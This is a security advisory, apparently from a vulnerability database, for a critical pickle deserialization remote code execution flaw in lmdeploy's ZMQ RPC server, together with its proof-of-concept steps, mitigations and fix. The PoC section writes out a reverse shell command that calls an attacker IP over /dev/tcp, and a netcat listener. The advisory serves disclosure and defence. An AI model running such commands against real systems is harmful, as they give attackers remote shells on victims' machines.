LMdeploy has Remote Code Execution by Pickle Deserialization via zmq_rpc.call_and_response() in InterLM/lmdeployGHSA-5h8j-6crg-7rmw
CRITICALFix: InternLM/lmdeploy@d86046aGHSA-5h8j-6crg-7rmw is a critical-severity (CVSS 9.8) Deserialization of Untrusted Data vulnerability in lmdeploy. A fix is available for lmdeploy — see the affected versions and patch details below.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-5h8j-6crg-7rmw.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
lmdeployReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Description
The LMdeploy implements an rpc server (AsyncRPCServer in zmq_rpc.py) for supporting the RPC communications. In its core functionality call_and_response(), I found it will directly use the pickles.loads() to deserialize the received messages without any sanitization, hence resulting in a remote code execution vulnerability by this RPC server.
Proof of Concept
-
Step1: The victim user starts a RPC server that connects to its network interface. We give our example code (server.py) in the attachment, you can reproduce directly with server.py.
-
Step2: The attacker can then send malicious pickle dump data to the remote RPC address for the attack. We give a example to show how can an attacker acquire a command shell:
<img width="832" height="324" alt="image" src="https://github.com/user-attachments/assets/03b9654d-e25b-4e93-903a-2aae8b12e704" />
In this example, attacker modifies AsyncRPCClient and send a request containing malicious pickle dump data to let the victim execute command “bash -c ‘bash -i >& /dev/tcp/202.112.47.27/4444 0>&1’”, where 202.112.47.27 is an attacker’s server. Two points require special attention: 1.The client code originally only connects to localhost over a socket, but an attacker can easily change localhost to another IP to perform remote exploitation, because the RPC server does not validate the connecting IP. 2.The RPC server’s port is randomized, but an attacker can still scan ports to find and exploit it; in our demo we explicitly set the target port.
- Step3: Attacker can use nc tool (nc -l 4444) to create a reverse shell and wait for connection. Then, attacker runs the client to send the malicious request. Since the pickle deserialization vulnerability, the victim rpc server will execute the malicious command and consequently let attacker get the command shell of victim machine.
We also give a demo video in the attachment, along with modified zmq_rpc.py. When you reproduce this issue in the client side (as an attacker), you can first replace zmq_rpc.py in pip site-packages with provided zmq_rpc.py in the attachment and then run python poc.py {port}.
Impact
Remote code execution in the victim's machine over network. Once the victim starts the RPC server, an attacker on the network can gain arbitrary code execution by scanning and finding the victim’s service.
Mitigation
(1)Sanitize data before pickle.loads it (e.g., rewrite Unpickler.find_class to set a whitelist), or use more secure deserialization methods such as safetensor or msgpack to replace the insecure pickle.loads. (2)Enable authentication in RPC services to ensure that only authenticated and trusted users are permitted to join the same cluster. LMdeploy.zip
Maintainer assessment
This advisory tracks remotely reachable arbitrary code execution caused by deserializing untrusted ZMQ RPC messages with pickle.loads().
The vulnerable RPC implementation was introduced in LMDeploy 0.9.1. Before version 0.10.2, AsyncRPCServer bound to tcp://*, allowing a network peer that could reach the randomly selected RPC port to submit a malicious pickle payload.
Version 0.10.2 changed the RPC server binding to localhost, removing the remote network attack surface. The RPC protocol still uses pickle internally, so the loopback RPC endpoint must remain inaccessible to untrusted local processes.
Additional client-side pickle.loads() call sites identified in a duplicate report are part of the same trusted internal RPC protocol and have been retained here as supporting evidence.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | lmdeploy | ≥ 0.9.1&&< 0.10.2 | 0.10.2pip install --upgrade 'lmdeploy==0.10.2' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for lmdeploy, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update lmdeploy to 0.10.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-5h8j-6crg-7rmw is resolved across your whole dependency graph.
Workarounds
Do not deserialise data from untrusted sources: where the format allows it, restrict deserialisation to an explicit allowlist of expected types, and prefer a data-only format (JSON, Protobuf) over one that can reconstruct arbitrary objects until you can upgrade.
Frequently Asked Questions
Is GHSA-5h8j-6crg-7rmw in your dependencies?
Find it across PyPI, including transitive dependencies.